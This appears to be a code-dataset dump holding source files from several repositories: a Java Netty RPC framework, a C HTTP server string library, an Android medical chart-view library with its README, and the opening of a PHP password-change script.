branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>aiwonipalema99/rpc<file_sep>/rpc-server/src/main/java/com/chenxj/server/RpcServer.java
/**
* Zentech-Inc
* Copyright (C) 2017 All Rights Reserved.
*/
package com.chenxj.server;
import com.chenxj.common.RpcDecoder;
import com.chenxj.common.RpcEncoder;
import com.chenxj.common.RpcRequest;
import com.chenxj.common.RpcResponse;
import com.chenxj.common.StringUtil;
import com.chenxj.registry.ServiceRegistry;
import io.netty.bootstrap.ServerBootstrap;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.ChannelOption;
import io.netty.channel.ChannelPipeline;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import org.apache.commons.collections4.MapUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* @author chenxj
* @version $Id RpcServer.java, v 0.1 2017-09-11 20:25 chenxj Exp $$
*/
public class RpcServer implements ApplicationContextAware, InitializingBean {
private static final Logger LOGGER = LoggerFactory.getLogger(RpcServer.class);
private String host;
private int port;
private static ExecutorService threadPoolExecutor = Executors.newFixedThreadPool(1024);
/**
* 存放 服务名 与 服务对象 之间的映射关系
*/
private Map<String, Object> handlerMap = new HashMap<>();
public RpcServer(String host, int port) {
this.host = host;
this.port = port;
}
@Override
public void setApplicationContext(ApplicationContext ctx) throws BeansException {
// 扫描带有 RpcService 注解的类并初始化 handlerMap 对象
Map<String, Object> serviceBeanMap = ctx.getBeansWithAnnotation(RpcService.class);
if (MapUtils.isNotEmpty(serviceBeanMap)) {
for (Object serviceBean : serviceBeanMap.values()) {
RpcService rpcService = serviceBean.getClass().getAnnotation(RpcService.class);
String serviceName = rpcService.value().getName();
handlerMap.put(serviceName, serviceBean);
}
}
}
@Override
public void afterPropertiesSet() throws Exception {
EventLoopGroup bossGroup = new NioEventLoopGroup();
EventLoopGroup workerGroup = new NioEventLoopGroup();
try {
// 创建并初始化 Netty 服务端 Bootstrap 对象
ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.group(bossGroup, workerGroup);
bootstrap.channel(NioServerSocketChannel.class);
bootstrap.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addLast(new RpcDecoder(RpcRequest.class)); // 解码 RPC 请求
pipeline.addLast(new RpcEncoder(RpcResponse.class)); // 编码 RPC 响应
pipeline.addLast(new RpcServerHandler(handlerMap)); // 处理 RPC 请求
}
});
bootstrap.option(ChannelOption.SO_BACKLOG, 1024);
bootstrap.childOption(ChannelOption.SO_KEEPALIVE, true);
String ip = host;
int p = port;
// 启动 RPC 服务器
ChannelFuture future = bootstrap.bind(ip, p).sync();
// 关闭 RPC 服务器
future.channel().closeFuture().sync();
} finally {
workerGroup.shutdownGracefully();
bossGroup.shutdownGracefully();
}
}
/**
* 提交任务
*/
public static void submit(Runnable task) {
threadPoolExecutor.submit(task);
}
}
<file_sep>/rpc-client/src/main/java/com/chenxj/client/RpcProxy.java
package com.chenxj.client;
import com.chenxj.common.RpcRequest;
import com.chenxj.common.RpcResponse;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.UUID;
/**
* 客户端代理
*
* @author chenxj
* @version $Id ServiceDiscovery.java, v 0.1 2017-09-11 20:41 chenxj Exp $$
*/
public class RpcProxy {
private static final Logger LOGGER = LoggerFactory.getLogger(RpcProxy.class);
private String ip;
private int port;
public RpcProxy(String ip, int port) {
this.ip = ip;
this.port = port;
}
@SuppressWarnings("unchecked")
public <T> T create(Class<?> interfaceClass) {
// 创建动态代理对象
return (T) Proxy.newProxyInstance(
interfaceClass.getClassLoader(),
new Class<?>[]{interfaceClass},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 创建 RPC 请求对象并设置请求属性
RpcRequest request = new RpcRequest();
request.setRequestId(UUID.randomUUID().toString());
request.setInterfaceName(method.getDeclaringClass().getName());
request.setMethodName(method.getName());
request.setParameterTypes(method.getParameterTypes());
request.setParameters(args);
// 创建 RPC 客户端对象并发送 RPC 请求
RpcClient client = new RpcClient(ip, port);
long time = System.currentTimeMillis();
RpcResponse response = client.send(request);
LOGGER.debug("time: {}ms", System.currentTimeMillis() - time);
if (response == null) {
throw new RuntimeException("response is null");
}
// 返回 RPC 响应结果
if (response.hasException()) {
throw response.getException();
} else {
return response.getResult();
}
}
}
);
}
}
<file_sep>/rpc-commom/src/main/java/com/chenxj/common/RpcRequest.java
/**
* Zentech-Inc
* Copyright (C) 2017 All Rights Reserved.
*/
package com.chenxj.common;
import java.io.Serializable;
/**
* @author chenxj
* @version $Id RpcRequest.java, v 0.1 2017-09-11 20:33 chenxj Exp $$
*/
public class RpcRequest implements Serializable {
private static final long serialVersionUID = -5005593140755210724L;
private String requestId;
private String interfaceName;
private String methodName;
private Class<?>[] parameterTypes;
private Object[] parameters;
/**
* Getter method for property <tt>requestId</tt>.
*
* @return property value of requestId
*/
public String getRequestId() {
return requestId;
}
/**
* Setter method for property <tt>requestId</tt>.
*
* @param requestId value to be assigned to property requestId
*/
public void setRequestId(String requestId) {
this.requestId = requestId;
}
/**
* Getter method for property <tt>interfaceName</tt>.
*
* @return property value of interfaceName
*/
public String getInterfaceName() {
return interfaceName;
}
/**
* Setter method for property <tt>interfaceName</tt>.
*
* @param interfaceName value to be assigned to property interfaceName
*/
public void setInterfaceName(String interfaceName) {
this.interfaceName = interfaceName;
}
/**
* Getter method for property <tt>methodName</tt>.
*
* @return property value of methodName
*/
public String getMethodName() {
return methodName;
}
/**
* Setter method for property <tt>methodName</tt>.
*
* @param methodName value to be assigned to property methodName
*/
public void setMethodName(String methodName) {
this.methodName = methodName;
}
/**
* Getter method for property <tt>parameterTypes</tt>.
*
* @return property value of parameterTypes
*/
public Class<?>[] getParameterTypes() {
return parameterTypes;
}
/**
* Setter method for property <tt>parameterTypes</tt>.
*
* @param parameterTypes value to be assigned to property parameterTypes
*/
public void setParameterTypes(Class<?>[] parameterTypes) {
this.parameterTypes = parameterTypes;
}
/**
* Getter method for property <tt>parameters</tt>.
*
* @return property value of parameters
*/
public Object[] getParameters() {
return parameters;
}
/**
* Setter method for property <tt>parameters</tt>.
*
* @param parameters value to be assigned to property parameters
*/
public void setParameters(Object[] parameters) {
this.parameters = parameters;
}
}
<file_sep>/rpc-commom/src/main/java/com/chenxj/common/RpcEncoder.java
/**
* Zentech-Inc
* Copyright (C) 2017 All Rights Reserved.
*/
package com.chenxj.common;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.MessageToByteEncoder;
/**
* @author chenxj
* @version $Id RpcEncoder.java, v 0.1 2017-09-11 20:38 chenxj Exp $$
*/
public class RpcEncoder extends MessageToByteEncoder {
private Class<?> genericClass;
public RpcEncoder(Class<?> genericClass) {
this.genericClass = genericClass;
}
@Override
public void encode(ChannelHandlerContext ctx, Object in, ByteBuf out) throws Exception {
if (genericClass.isInstance(in)) {
byte[] data = SerializationUtil.serialize(in);
out.writeInt(data.length);
out.writeBytes(data);
}
}
}
<file_sep>/rpc-commom/src/main/java/com/chenxj/common/StringUtil.java
/**
* Zentech-Inc
* Copyright (C) 2017 All Rights Reserved.
*/
package com.chenxj.common;
import org.apache.commons.lang3.StringUtils;
/**
* @author chenxj
* @version $Id StringUtil.java, v 0.1 2017-09-11 20:30 chenxj Exp $$
*/
public class StringUtil {
/**
* 判断字符串是否为空
*/
public static boolean isEmpty(String str) {
if (str != null) {
str = str.trim();
}
return StringUtils.isEmpty(str);
}
/**
* 判断字符串是否非空
*/
public static boolean isNotEmpty(String str) {
return !isEmpty(str);
}
/**
* 分割固定格式的字符串
*/
public static String[] split(String str, String separator) {
return StringUtils.splitByWholeSeparator(str, separator);
}
}
<file_sep>/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.3.RELEASE</version>
</parent>
<groupId>com.chenxj</groupId>
<artifactId>rpc</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<modules>
<module>rpc-client</module>
<module>rpc-server</module>
<module>rpc-commom</module>
<module>rpc-web</module>
</modules>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<version.slf4j>1.7.10</version.slf4j>
<version.spring>4.1.5.RELEASE</version.spring>
<version.netty>4.0.26.Final</version.netty>
<version.protostuff>1.0.9</version.protostuff>
<version.objenesis>2.1</version.objenesis>
<version.cglib>3.1</version.cglib>
<version.zkclient>0.8</version.zkclient>
<version.commons-lang>3.3.2</version.commons-lang>
<version.commons-collections>4.0</version.commons-collections>
<version.maven-compiler-plugin>3.2</version.maven-compiler-plugin>
<version.maven-surefire-plugin>2.18.1</version.maven-surefire-plugin>
<version.maven-source-plugin>2.4</version.maven-source-plugin>
<version.maven-javadoc-plugin>2.10.3</version.maven-javadoc-plugin>
</properties>
<dependencies>
<!-- SLF4J -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>${version.slf4j}</version>
</dependency>
<!-- Netty -->
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
<version>${version.netty}</version>
</dependency>
<!-- Protostuff -->
<dependency>
<groupId>com.dyuproject.protostuff</groupId>
<artifactId>protostuff-core</artifactId>
<version>${version.protostuff}</version>
</dependency>
<dependency>
<groupId>com.dyuproject.protostuff</groupId>
<artifactId>protostuff-runtime</artifactId>
<version>${version.protostuff}</version>
</dependency>
<!-- Objenesis -->
<dependency>
<groupId>org.objenesis</groupId>
<artifactId>objenesis</artifactId>
<version>${version.objenesis}</version>
</dependency>
<!-- CGLib -->
<dependency>
<groupId>cglib</groupId>
<artifactId>cglib</artifactId>
<version>${version.cglib}</version>
</dependency>
<!-- ZkClient -->
<dependency>
<groupId>com.101tec</groupId>
<artifactId>zkclient</artifactId>
<version>${version.zkclient}</version>
</dependency>
<!-- Apache Commons Lang -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>${version.commons-lang}</version>
</dependency>
<!-- Apache Commons Collections -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>${version.commons-collections}</version>
</dependency>
<!--swagger-->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.6.1</version>
</dependency>
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger-ui</artifactId>
<version>2.6.1</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<!-- Compiler -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${version.maven-compiler-plugin}</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<!-- Test -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>${version.maven-surefire-plugin}</version>
<configuration>
<skipTests>true</skipTests>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.0.2</version>
<configuration>
<classesDirectory>target/classes/</classesDirectory>
<archive>
<manifest>
<mainClass>com.chenxj.server.BootStrap</mainClass>
<!-- 打包时 MANIFEST.MF文件不记录的时间戳版本 -->
<useUniqueVersions>false</useUniqueVersions>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
</manifest>
<manifestEntries>
<Class-Path>.</Class-Path>
</manifestEntries>
</archive>
</configuration>
</plugin>
<!-- maven 依赖处理 -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<version>2.10</version>
<executions>
<execution>
<id>copy-dependencies</id>
<phase>package</phase>
<goals>
<goal>copy-dependencies</goal>
</goals>
<configuration>
<type>jar</type>
<includeTypes>jar</includeTypes>
<outputDirectory>
${project.build.directory}/lib
</outputDirectory>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project><file_sep>/rpc-server/src/main/resources/rpc.properties
rpc.service_host=10.0.1.82
rpc.service_port=8088<file_sep>/rpc-client/src/main/java/com/chenxj/client/RpcClient.java
package com.chenxj.client;
import com.chenxj.common.RpcDecoder;
import com.chenxj.common.RpcEncoder;
import com.chenxj.common.RpcRequest;
import com.chenxj.common.RpcResponse;
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
/**
* @author chenxj
* @version $Id ServiceDiscovery.java, v 0.1 2017-09-11 20:40 chenxj Exp $$
*/
public class RpcClient extends SimpleChannelInboundHandler<RpcResponse> {
private static final Logger LOGGER = LoggerFactory.getLogger(RpcClient.class);
private String host;
private int port;
private BlockingQueue<RpcResponse> resQueue = new LinkedBlockingQueue<>();
ChannelFuture future;
private RpcResponse response;
public RpcClient(String host, int port) {
this.host = host;
this.port = port;
try {
init();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void channelRead0(ChannelHandlerContext ctx, RpcResponse response) throws Exception {
this.response = response;
resQueue.put(response);
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
LOGGER.error("api caught exception", cause);
ctx.close();
}
public RpcResponse send(RpcRequest request) throws Exception {
future.channel().writeAndFlush(request).sync();
RpcResponse response = resQueue.take();
return response;
}
public void init() throws Exception {
try {
Bootstrap bootstrap = new Bootstrap();
EventLoopGroup group = new NioEventLoopGroup(1024);
bootstrap.group(group).channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addLast(new RpcEncoder(RpcRequest.class));
pipeline.addLast(new RpcDecoder(RpcResponse.class));
pipeline.addLast(RpcClient.this); // 处理 RPC 响应
}
})
.option(ChannelOption.SO_KEEPALIVE, true);
future = bootstrap.connect(host, port).sync();
} finally {
}
}
}
<file_sep>/rpc-web/src/main/java/com/chenxj/web/controller/Controller.java
/**
* Zentech-Inc
* Copyright (C) 2017 All Rights Reserved.
*/
package com.chenxj.web.controller;
import com.chenxj.client.RpcProxy;
import com.chenxj.server.HelloSerivce;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author chenxj
* @version $Id Controller.java, v 0.1 2017-09-20 21:29 chenxj Exp $$
*/
@RestController
public class Controller {
@Autowired
private RpcProxy proxy;
@RequestMapping("/user")
public String getNmae(String name) {
HelloSerivce helloService = proxy.create(HelloSerivce.class);
return helloService.hello(name);
}
}
| 3eabffd510a9e87fc16130ed36c3a26dc06bf571 | [
"Java",
"Maven POM",
"INI"
] | 9 | Java | aiwonipalema99/rpc | 9a5a4bc64aa464a802788c8e5d852e84b450a2a0 | f1c4f24e787470a96ab831c0fcfddd54a6a6e73b |
refs/heads/master | <repo_name>AsamQi/httpd3<file_sep>/src/util/wsx_string.c
//
// Created by root on 4/3/16.
//
#include "wsx_string.h"
#include "../memop/manage.h"
#include <assert.h>
#include <limits.h>
#define WSX_STR_CAP_DEFAULT 32
static inline boolen expand_size(String * self);
static inline boolen Str_isempty_(String * self);
static inline unsigned int Str_get_capacity_fun(String * self);
static inline unsigned int Str_get_length_fun(String * self);
static inline void Str_make_clear(String * self);
static char * Str_make_append(String * self, const char * app_str, unsigned int str_len);
static boolen Str_make_copy(String * self, String * dst);
static boolen Str_make_move(String * self, String * dst);
static void Str_constructor(String * self, const char * init_str);
static void Str_destructor(String * self);
static inline char * Str_find_substr(String * self, const char * to_be_find);
#if defined(WSX_DEBUG)
static inline void Str_print(string_t self);
#endif
static funtable function_area =
{
.is_empty = Str_isempty_,
.capacity = Str_get_capacity_fun,
.length = Str_get_length_fun,
.append = Str_make_append,
.clear = Str_make_clear,
.copy_to = Str_make_copy,
.move_to = Str_make_move,
.init = Str_constructor,
.destroy = Str_destructor,
.has = Str_find_substr,
#if defined(WSX_DEBUG)
.print = Str_print,
#endif
};
static void Str_constructor(String * restrict self, const char * restrict init_str)
{
if (NULL == self)
assert(0);
if (NULL == init_str)
init_str = "";
unsigned int init_str_len = strlen(init_str);
self->cap = WSX_STR_CAP_DEFAULT > init_str_len ? WSX_STR_CAP_DEFAULT : (init_str_len + 1);
self->empty = 1;
self->len = 0;
self->str = NULL;
expand_size(self);
unsigned int len = strlen(init_str);
strncpy(self->str, init_str, len);
self->len = len;
return;
}
static void Str_destructor(String * self)
{
if (NULL == self) {
return;
}
Free(self->str);
self->use = NULL;
}
static inline boolen Str_isempty_(String * self)
{
return (self->empty == 1) ? 1 : 0;
}
static inline unsigned int Str_get_capacity_fun(String * self)
{
return self->cap;
}
static inline unsigned int Str_get_length_fun(String * self)
{
return self->len;
}
static inline void Str_make_clear(String * self)
{
(self->str)[0] = '\0';
self->len = 0;
self->empty = 1;
}
static boolen Str_make_copy(String * self, String * dst)
{
if (self == dst) return 1;
if (NULL == self || NULL == dst) return 0;
unsigned int capacity = dst->cap;
/* Try to make expansion until the Area size is big enough to fill the self->str
* or Use out of the Memory we can manage in Heap.
* */
while (capacity < self->len) {
expand_size(dst);
capacity = dst->cap;
}
strncpy(dst->str, self->str, self->len);
dst->len = self->len;
dst->empty = 0;
return 1;
}
static boolen Str_make_move(String * self, String * dst) {
if (self == dst) return 1;
if (NULL == self || NULL == dst) assert(0);
memcpy(dst, self, sizeof(String)); /* Move the self to the dst */
memset(self, 0, sizeof(String)); /* Clear the self For the safe */
}
static inline char * Str_find_substr(String * restrict self, const char * restrict to_be_find)
{
if (NULL == to_be_find) return NULL;
if (0 == strlen(to_be_find)) return NULL;
return strstr(self->str, to_be_find);
}
static char * Str_make_append(String * restrict self, const char * restrict app_str, unsigned int str_len)
{
unsigned int capcity = self->cap;
unsigned int len = self->len;
boolen error;
while (capcity - len < str_len + 1) {
error = expand_size(self);
capcity = self->cap;
}
strncat(self->str, app_str, str_len);
self->len += str_len;
if (self->str[self->len - 1] != '\0') {
self->str[self->len] = '\0';
self->len += 1;
}
}
static inline boolen expand_size(String * self) {
unsigned int capacity = self->cap;
if (UINT_MAX == capacity) assert(0);
unsigned int comfortable = WSX_STR_CAP_DEFAULT * 2 - 1; /* 0x1F */
while ( comfortable <= capacity && comfortable != UINT_MAX) {
comfortable <<= 1;
comfortable |= 1;
}
capacity = comfortable;
char * tmp = Malloc(capacity);
if (NULL == tmp) assert(0);
strncpy(tmp, self->str, self->len);
Free(self->str);
self->str = tmp;
self->cap = capacity;
return 1;
}
string_t make_Strings(const char * init_str) {
string_t ret = Malloc(sizeof(String));
ret->use = &function_area;
ret->use->init(ret, init_str);
return ret;
}
void dele_Strings(string_t deleter) {
deleter->use->destroy(deleter);
Free(deleter);
}
#if defined(WSX_DEBUG)
static inline void Str_print(string_t self)
{
fprintf(stderr, "String:\"%s\"\t length:%d \t capaticy: %d\n", self->str, self->len, self->cap);
}
#endif<file_sep>/src/handle/handle_write.c
//
// Created by root on 3/22/16.
//
#include "handle_write.h"
HANDLE_STATUS handle_write(conn_client * client) {
/* String Version */
char* w_buf = client->w_buf->str;
int w_offset = client->w_buf_offset;
int nbyte = w_offset;
int count = 0;
int fd = client->file_dsp;
char * buf = client->write_buf;
while (nbyte > 0) {
buf += count;
w_buf += count;
//count = write(fd, buf, 8192);
count = write(fd, w_buf, nbyte);
if (count < 0) {
if (EAGAIN == errno || EWOULDBLOCK == errno) {
memcpy(client->w_buf->str, w_buf, strlen(w_buf));
client->w_buf_offset = nbyte;
return HANDLE_WRITE_AGAIN;
}
if (EPIPE == errno)
return HANDLE_WRITE_FAILURE;
}
else if (0 == count)
return HANDLE_WRITE_FAILURE;
nbyte -= count;
}
return HANDLE_WRITE_SUCCESS;
}
<file_sep>/src/CMakeLists.txt
cmake_minimum_required(VERSION 3.3)
project(httpd3)
set(CMAKE_C_FLAGS "${CMAKE_CXX_FLAGS} -std=gnu99 -O3 -pthread")
set(SOURCE_FILES
read_config.h read_config.c main.c
handle/handle.h memop/manage.h handle/handle_read.h handle/handle_write.h handle/http_response.h handle/handle_core.h
handle/handle.c memop/manage.c handle/hancle_read.c handle/http_response.c
handle/handle_write.c util/wsx_string.h util/wsx_string.c)
add_executable(httpd3 ${SOURCE_DIR} ${SOURCE_FILES} )<file_sep>/src/util/wsx_string.h
//
// Created by root on 4/3/16.
//
#ifndef HTTPD3_WSX_STRING_H_H
#define HTTPD3_WSX_STRING_H_H
/// README FIRST!
/// While Using the string_t, we should use the string_t instead of String
/// Because We should initialize it before using, so keep it away if it has
/// not make by make_Strings
/// It means that using the string_t carefully
/// To be Safety,
/// call the Interface make_Strings, and use the return value
/// Destroy if it has nothing to live by using dele_Strings
/// Both the two functions is manipulate the string_t or return it.
#include <string.h>
#define APPEND(str) str,(strlen(str)+1)
typedef char boolen;
typedef struct funtable funtable;
typedef struct String {
char * str; /* Store the string characters */
funtable * use; /* Function Storage-Area */
unsigned int cap; /* */
unsigned int len; /* String Length */
boolen empty;
}String;
typedef boolen (*isempty_fun)(String *);
typedef unsigned int (*get_capacity_fun)(String *);
typedef unsigned int (*get_length_fun)(String *);
/* self appendString appendStringLength */
typedef char * (*make_append)(String *, const char *, unsigned int);
/* Copy self to dst */
typedef boolen (*make_copy)(String * self, String * dst);
/* Move self to dst */
typedef boolen (*make_move)(String * self, String * dst);
/* Init could be NULL or other meaningful C-Style string */
typedef void (*constructor)(String *, const char * init);
/* clear the String , it does not mean destroy it, just clear the string. */
typedef void (*make_clear)(String *);
typedef void (*destructor)(String *);
typedef char * (*find_substr)(String *, const char *);
#if defined(WSX_DEBUG)
typedef void (*print_message)(String *);
#endif
struct funtable {
isempty_fun is_empty;
get_capacity_fun capacity;
get_length_fun length;
make_append append;
make_clear clear;
make_copy copy_to;
make_move move_to;
constructor init;
destructor destroy;
find_substr has;
#if defined(WSX_DEBUG)
print_message print;
#endif
};
typedef String* string_t;
/* Make a String Object */
string_t make_Strings(const char * init_str);
/* Destroy the String which make from make_Strings */
void dele_Strings(string_t deleter);
#endif //HTTPD3_WSX_STRING_H_H
<file_sep>/src/handle/handle_core.h
//
// Created by root on 3/20/16.
//
#ifndef HTTPD3_HANDLE_CORE_H
#define HTTPD3_HANDLE_CORE_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <assert.h>
#include "../memop/manage.h"
#include "../util/wsx_string.h"
typedef char boolean;
struct connection {
int file_dsp;
#define CONN_BUF_SIZE 1024
int read_offset;
char read_buf[CONN_BUF_SIZE];
/*int write_offset;*/
char write_buf[CONN_BUF_SIZE];
int r_buf_offset;
string_t r_buf;
int w_buf_offset;
string_t w_buf;
struct {
/* Is it Keep-alive in Application Layer */
boolean conn_linger : 1;
boolean set_ep_out : 1;
/* 2 ^ 4 -> 16 Types */
int content_type : 4;
/* GET, POST, HEAD */
string_t requ_method;
/* HTTP/1.0\0 */
string_t requ_http_ver;
/* / */
string_t requ_res_path;
}conn_res;
};
typedef struct connection conn_client;
typedef enum {
HANDLE_READ_SUCCESS = -(1 << 1),
HANDLE_READ_FAILURE = -(1 << 2),
HANDLE_WRITE_SUCCESS = -(1 << 3),
HANDLE_WRITE_AGAIN = -(1 << 5),
HANDLE_WRITE_FAILURE = -(1 << 4),
}HANDLE_STATUS;
#endif //HTTPD3_HANDLE_CORE_H
| b40f284f9d71562cb807fda18a8f7edf3e5e8981 | [
"C",
"CMake"
] | 5 | C | AsamQi/httpd3 | 37576e6434b26a2ea25a0ff7e8e1e80275bbbda9 | cdfd73241062c9a73859d1f6155aec5c1b124a6f |
refs/heads/master | <file_sep>include ':app', ':hyyxshapesourcelibrary'
<file_sep>
hyyxShapeView for Android
============================
依赖
--------------------
## Android Studio/Gradle
* JitPack.io, add jitpack.io repositiory and dependency to your build.gradle:
repositories {
maven { url "https://jitpack.io"}
}
dependencies {
compile 'com.github.hyyx13579:hyyxShapeView:v2.0'
}
控件分类
--------------------
## 1.医院通用护理信息的图表功能,可以对体温,血压,血糖,脉搏,呼吸,五大类的信息进行散点图,折线图,柱形图的图表绘制。
### 使用方法
#### 示例



#### 在xml文件中
<com.example.mylibrary.widget.iHospitalShapeView
android:layout_width="match_parent"
android:layout_height="match_parent"
/>
#### 在javacode中
iHospitalShapeView iHospitalShapeView = new iHospitalShapeView(context);
layout.addview(iHospitalShapeView);
#### 属性
setAxisX(float maxValue, int divideSize)//设置X轴的最大值及刻度线数量(包括0坐标刻度)
setAxisY(float maxValue, int divideSize)//设置Y轴的最大值及刻度线数量(包括0坐标刻度)
setDefaultYdataInfo(int type)//设置view自带的Y轴数据,包括体温,血压,脉搏,血糖,呼吸的五种标准化数值
switch (type) {
case TYPE_TEMP:
yLabels = new int[]{32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43};
setAxisY(43, 12);
break;
case TYPE_BLOODPRESURE:
yLabels = new int[]{40, 60, 80, 100, 120, 140, 160, 180, 200};
setAxisY(200, 9);
break;
case TYPE_PULSE:
yLabels = new int[]{20, 40, 60, 80, 100, 120, 140};
setAxisY(140, 7);
break;
case TYPE_BLOODSUGAR:
yLabels = new int[]{0, 3, 6, 9, 12, 15, 18, 21, 24, 27};
setAxisY(27, 10);
break;
case TYPE_BREATHE:
yLabels = new int[]{5, 10, 15, 20, 25, 30, 35, 40, 45, 50};
setAxisY(50, 10);
break;
}
setShapeInfo(List<NuringInfoShapeBean> nuringInfoShapeBeen, int drawShape)//设置数据,并选择画什么图形】
public NuringInfoShapeBean(String value, String time) {//NuringInfoShapeBean的构造函数
this.value = value;//值
this.time = time;//时间}
public NuringInfoShapeBean(String time, String hightValue, String lowValue) {
this.time = time;
this.hightValue = hightValue;//血压形式高压
this.lowValue = lowValue;//低压}
//可选择的图形
public static final int DRAWPOINT = 100;//折线图
public static final int DRAWColumn = 99;//柱状图
setBloodpresureShape(boolean isSinleling, boolean isPoint)//设置趋势图单条线或者双条线,可设置折线趋势图或散点趋势图
setRedLine(float reddataOne, float reddataTwo)//设置标准值的区域(带渐变效果),如果有一项为0,则变为红色标注线
isDrawMarkX(boolean isDrawMarkXLine, boolean isDottedX)//设置x轴各点延长线,线可设置实线和虚线
isDrawMarkY(boolean isDrawMarkYLine, boolean isDottedY)//设置y轴各点延长线,线可设置实线和虚线
## 2.空心饼状图,可点击,低于6个数据有指示线,高于6个数据没有指示线
#### 示例

```
设置部分属性
List<PieData> data = new ArrayList<>();
for (int i = 1; i <= 5; i++) {
int r = (new Random().nextInt(100) + 10) * i;
int g = (new Random().nextInt(100) + 10) * 3 * i;
int b = (new Random().nextInt(100) + 10) * 2 * i;
int color = Color.rgb(r, g, b);
if (Math.abs(r - g) > 10 && Math.abs(r - b) > 10 && Math.abs(b - g) > 10) {
data.add(new PieData(i * 10, color));
}
}
hollowPie.setPieDate(data);
hollowPie.setCenterTitle("总记");
hollowPie.startDraw();//可选择是否开启动画效果
```
## 3.普通折线图
<file_sep>package com.example.mylibrary.bean;
/**
* Created by hyyx on 2016/12/23.
*/
public class NuringInfoShapeBean {
private String time;
private String value;
private String hightValue;
private String lowValue;
public NuringInfoShapeBean(String value, String time) {
this.value = value;
this.time = time;
}
public NuringInfoShapeBean(String time, String hightValue, String lowValue) {
this.time = time;
this.hightValue = hightValue;
this.lowValue = lowValue;
}
public String getTime() {
return time;
}
public void setTime(String time) {
this.time = time;
}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
public String getHightValue() {
return hightValue;
}
public void setHightValue(String hightValue) {
this.hightValue = hightValue;
}
public String getLowValue() {
return lowValue;
}
public void setLowValue(String lowValue) {
this.lowValue = lowValue;
}
}
| 48ec50932f9e42dfc9067f76398417c3db64b159 | [
"Markdown",
"Java",
"Gradle"
] | 3 | Gradle | hyyx13579/hyyxShapeView | b93b0941b04450a8043b00f387e155661f2355e5 | c74da6be3d6a7e6b671e8a582e240153449dcbfd |
refs/heads/master | <repo_name>timorantasuo/travelcounter<file_sep>/user_password.php
<?php
include('session.php');
/*** first check that both the username, password and form token have been sent ***/
if(!isset( $_POST['counter_password'], $_POST['counter_password_new'], $_POST['counter_password_confirm']))
{
$message = 'Please give your old and then new password.';
}
/*** check the password is the correct length ***/
